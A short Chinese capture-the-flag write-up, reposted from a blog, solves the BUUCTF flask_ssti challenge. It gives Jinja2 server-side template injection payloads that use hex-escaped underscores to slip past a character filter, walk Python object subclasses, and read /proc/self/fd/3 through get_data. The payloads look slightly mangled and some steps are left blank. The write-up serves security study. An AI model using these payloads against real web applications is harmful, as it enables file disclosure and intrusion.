1.测试存在ssti
2.获取类型所属的对象,后面显示被过滤了,看了大佬的文章_'.这三个被过滤了,但可以用十六进制绕过
3.寻找基类
4.寻找可用引用
{undefined{()["x5fx5fclassx5fx5f"]["x5fx5fbasesx5fx5f"][0]["x5fx5fsubclassesx5fx5f"]()}}
5.接下来就是开始一系列利用了(基础不是很好,后面的待填坑)一些大佬的方法:
①
②
{undefined{()["x5Fx5Fclassx5Fx5F"]["x5Fx5Fbasesx5Fx5F"][0]["x5Fx5Fsubclassesx5Fx5F"]()[91]["getx5Fdata"](0, "/proc/self/fd/3")}}
自己的一些总结:使用[]好像可以自动补.号
以下是等价的
{{"".__class__}}
{{""["x5fx5fclassx5fx5f"]}}
原文来自CSDN博主「qq_40800734」|侵删
![buuctf pasecactf_2019]flask_ssti-解题步骤详解 buuctf pasecactf_2019]flask_ssti-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/8-1651047478.png)
![buuctf pasecactf_2019]flask_ssti-解题步骤详解 buuctf pasecactf_2019]flask_ssti-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/3-1651047479.png)
原文始发于微信公众号(寰宇卫士):buuctf pasecactf_2019]flask_ssti-解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论